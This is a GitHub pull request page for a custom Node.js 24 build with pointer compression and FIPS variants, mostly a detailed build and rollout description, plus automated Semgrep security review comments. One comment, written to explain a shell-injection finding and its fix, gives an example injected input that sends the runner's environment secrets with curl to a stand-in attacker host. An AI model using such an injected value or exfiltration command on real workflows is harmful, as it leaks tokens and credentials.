Repository navigation
Conversation
| run: | | ||
| docker build -t node_fips_build -f ./${{ inputs.DOCKER_FILE }} . | ||
|
|
There was a problem hiding this comment.
🟠 High severity blocking issue identified in your code:
The untrusted inputs.DOCKER_FILE value is inserted into a shell command, allowing a caller to execute commands on the GitHub Actions runner and exfiltrate GH_TOKEN or modify build artifacts.
More details about this
inputs.DOCKER_FILE is interpolated directly into the shell script that runs docker build. Because workflow inputs can be controlled by a workflow caller or an untrusted workflow trigger, an attacker can supply shell metacharacters instead of only a Dockerfile path.
For example, a malicious input such as:
Dockerfile; env | curl -X POST --data-binary @- https://attacker.example/collect #
turns the step into commands equivalent to:
docker build -t node_fips_build -f ./Dockerfile
env | curl -X POST --data-binary @- https://attacker.example/collectThe injected command executes on the GitHub runner with the workflow environment, including GH_TOKEN from secrets.GITHUB_TOKEN, and can send that token, checked-out source, or other runner data to the attacker. Since this step runs before artifact creation, the attacker can also alter the build or workspace and influence the files later archived by Upload Node archive.
To resolve this comment:
✨ Commit fix suggestion
| run: | | |
| docker build -t node_fips_build -f ./${{ inputs.DOCKER_FILE }} . | |
| env: | |
| DOCKER_FILE: ${{ inputs.DOCKER_FILE }} | |
| run: | | |
| docker build -t node_fips_build -f "./$DOCKER_FILE" . |
View step-by-step instructions
- Add the input to the step’s
env:block instead of interpolating it directly in the shell script:env: DOCKER_FILE: ${{ inputs.DOCKER_FILE }}
- Replace the direct GitHub expression with the quoted environment variable:
run: | docker build -t node_fips_build -f "./$DOCKER_FILE" .
- Keep the
working-directory: nodesetting so the Dockerfile path remains relative to the checked-out Node source. Quoting"$DOCKER_FILE"prevents input characters from being interpreted as shell syntax.
💬 Ignore this finding
Reply with Semgrep commands to ignore this finding.
/fp <comment>for false positive/ar <comment>for acceptable risk/other <comment>for all other reasons
Alternatively, triage in Semgrep AppSec Platform to ignore the finding created by run-shell-injection.
Please reach out to Security (go/sec-inbox) if you need help with this.
You can view more details about this finding in the Semgrep AppSec Platform.
|
Semgrep found 8
🟡 Medium severity issue identified in your code: GitHub Actions step uses a mutable tag or branch reference. Tags and branch names can be silently repointed by the action owner, enabling supply-chain attacks — as seen in the trivy-action and kics-github-action compromises. Pin the reference to a full 40-character commit SHA instead, e.g. Please reach out to Security (go/sec-inbox) if you need help with this. |
Standard and FIPS (shared OpenSSL) builds on Ubuntu 22.04 with its g++-12, configured with --experimental-enable-pointer-compression (multi-cage, V8 sandbox off). No fiber patches: LunaServer no longer uses node-fibers, so Maglev and CppHeap stay at upstream defaults. Each build is verified before it is published: the binary may only require glibc/libstdc++ symbol versions shipped by Ubuntu 22.04 (the sandbox and remote-execution hosts), and asana-smoke-test.js must pass on stock Ubuntu 22.04 and on Wolfi (the LunaServer image base). Co-authored-by: Cursor <cursoragent@cursor.com>
Dockerfile.Packages rebuilds bcrypt, cld, unix-dgram and @datadog/pprof against this branch's Node and loads each one as a smoke test. build-node-packages.yml reads the Node version from the checked-out tree and accepts a NODE_REF input, so it also works when dispatched from main for the S3 upload. stage_for_s3.bash stages the release artifacts under their asana-oss-cache key layout with unique names and prints the codez Starlark for node_toolchains_bzlmod.bzl and tools_repositories.bzl. Co-authored-by: Cursor <cursoragent@cursor.com>
The FIPS build links against Ubuntu 22.04's shared OpenSSL 3.0.2, whose headers predate EVP_PKEY_PRIVATE_KEY. Define it with the same value later OpenSSL releases use. Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Cursor <cursoragent@cursor.com>
62f5752 to
6d7154f
Compare
Summary
Asana's Node.js 24.22.1 (LTS "Krypton") build for LunaServer after Fiber Elimination. Unlike the 18/20/22 forks, this one doesn't patch V8 or Node's JavaScript: with node-fibers gone, the only reason left to fork is to keep V8 pointer compression, which upstream doesn't ship in its release binaries. The only source change is a one-line OpenSSL compatibility define that the FIPS build needs.
The base branch
v24.22.1is exactly upstreamv24.22.1(ce7aaf1cee), so this diff is everything Asana adds.What's in it
build: add Asana Node 24 builds with pointer compressionDockerfile.Node24andDockerfile.Node24fips, thebuild-node.ymlandbuild-node-openssl-fips.ymlworkflows, and the post-build verification (asana-verify-build.shandasana-smoke-test.js)build: build native packages and stage S3 uploads for Node 24Dockerfile.Packages,build-node-packages.ymlandstage_for_s3.bashdeps: define EVP_PKEY_PRIVATE_KEY for early OpenSSL 3.0 headersbuild: check LunaServer's V8 startup flags in the smoke test--no-wasm-code-gc,--stack_trace_limit, and others)What's intentionally not carried over from v22.21.1
isolate.cc,thread-id.cc, and others) and the CppHeap disable insrc/env.cc. These only existed for node-fibers.process.binding('util')patch inlib/internal/bootstrap/realm.js, which exposedgetPromiseDetails. LunaServer drops that dependency along with fibers.Dockerfile.Fibers,build-node-fibers.yml, and the fibers steps instage_for_s3.bash.Key decisions
Compiler and OS: Ubuntu 22.04 with its own g++-12 (12.3). The binary has to run everywhere the LunaServer Node toolchain runs:
GLIBCXX_3.4.30), which run LunaServer tests.Node 24 needs GCC ≥ 12.2, and 22.04's g++-12 meets that while emitting nothing newer than
GLIBCXX_3.4.30. So none of Jack's GCC 11 source patches are needed. Today's v22 x64 binary requiresGLIBC_2.29andGLIBCXX_3.4.30, which is the same ceiling.asana-verify-build.shfails the build if anyGLIBC_,GLIBCXX_orCXXABI_symbol version exceeds what 22.04 ships.Pointer compression: plain
--experimental-enable-pointer-compression(multi-cage, V8 sandbox off).IsolateGroup.--experimental-pointer-compression-shared-cagewould turn on the V8 sandbox. The sandbox rejects the externalArrayBufferbacking stores that native addons create, so it's not used.v8_enable_pointer_compression=1,v8_enable_sandbox=0, and that--max-old-space-size=8192still caps the heap at about 4 GB.FIPS:
--shared-opensslagainst Ubuntu 22.04's OpenSSL 3.0.2, as on v22.21.1.NODE_MODULE_VERSIONstays 137 (stock).Dockerfile.Packagesrebuilds@datadog/pprofand friends against our headers.Verification built into the workflows
asana-verify-build.shruns on every build, before anything is uploaded:GLIBC_2.35,GLIBCXX_3.4.30andCXXABI_1.3.13.asana-smoke-test.json stockubuntu:22.04and oncgr.dev/chainguard/wolfi-base. These run in containers, not on the runner, because GitHub's ubuntu-22.04 runner images carry a newer libstdc++. The smoke test checks:AsyncLocalStorageacross timers;v8.serialize;Dockerfile.Packagesalso loads every rebuilt addon with our Node and exercises the pprof heap and wall-time profilers, the code path that crashed on custom Node 20.How to build and publish
Then, with ProdOncall, run
./stage_for_s3.bash.asana-oss-cachekey layout (node/fork/v24.22.1/,node-fips/v24.22.1/andnode-gyp/) with unique names, so nothing existing is overwritten.node_toolchains_bzlmod.bzlandtools_repositories.bzlstanzas for codez.build-node-packages.ymlnow reads the Node version from the checked-out tree and takes aNODE_REFinput. Porting it tomainwould therefore letworkflow_dispatch -f NODE_REF=v24.22.1frommaindo the packages S3 upload itself through the existing OIDC role. Until then,stage_for_s3.bashstages the packages for a manual upload.Follow-ups in codez (not in this PR)
luna/server/utils/fiber_elimination_utils.tsthrowsUnsupported Node versionat import on anything but v14, v18, v20 or v22. It's imported (directly or throughfiber_elimination_promise_utils) byfiber_job_pool.ts,fiber_tunneling_utils.ts,remote_job*.ts,server_env.tsand others. It must be deleted along with fibers. ItsgetPromiseDetailshack has no support in this build.nodejs24pcandnodejs24fipstoasana2/third_party/node/node_toolchains_bzlmod.bzl(the stanza is printed bystage_for_s3.bash), then register them innode.MODULE.bazeland point thenode_targetsinnode/BUILDat them. Also update_with_darwin_host_placeholders, which hardcodes22.21.1-linux_amd64.node_gyp_packages_{amd64,arm64}_node24totools_repositories.bzl,tools.MODULE.bazelandnode/gyp/BUILD.unix-dgramneeds a newernan.nan2.17.0 forunix-dgram, and 2.17.0 predates V8 13.unix-dgramwill probably fail on Node 24 headers."unix-dgram>nan": "2.28.0".@airbnb/node-memwatchis built against stock headers and nothing requires it, so remove it fromnode/BUILD.@datadog/native-iast-taint-trackingships only stock raw-V8 prebuilds, so keep IAST off.bcrypt@5.1.0/directory doesn't match the real store directory. bcrypt uses N-API, so this is harmless, but it's dead.@confluentinc/kafka-javascript's custom tarball already hasnode-v137binaries.url.parse()inluna/server/http/control/control_server.ts:15(DEP0169, in the liveness/readiness server),luna/common/s3_testing.jsandcluster_config_validator.js. Usenew URL(req.url, "http://localhost").entry.kindandentry.flagsingarbage_collection_reporter.ts(DEP0152; they becomeundefinedon 26). Useentry.detail.kindandentry.detail.flags.util.is*,SlowBuffer,crypto.fips,fs.F_OKor Node's own_headers. Theresponse._headershits are Asana's own wrapper.--max-semi-space-size(tools/starlark/lunaserver.bzl:171).enterWithpattern behaved the same in local tests; also confirm dd-trace context propagation.maxOldSpaceSize1600 and RJ 2000 in releasezvalues.yaml).--experimental-abortcontroller(node/launcher.sh) is a no-op now.--no-wasm-code-gconly existed for fibers, so drop it after rollout.Node 26 (not attempted here)
26.x requires GCC ≥ 13.2 or Clang ≥ 19.1. A GCC 13 build needs
GLIBCXX_3.4.31or newer, which Ubuntu 22.04 sandboxes and EngFlow workers don't have. Getting to 26 means one of:--partly-static);It would also break the
buffer-equal-constant-timepackage, becauseSlowBufferis removed in 26. That takes downjsonwebtokenandgoogle-auth-librarythroughjwa. The kafka tarball also has no ABI 147 binary.24 is the LTS through April 2028, so it's the right next step either way.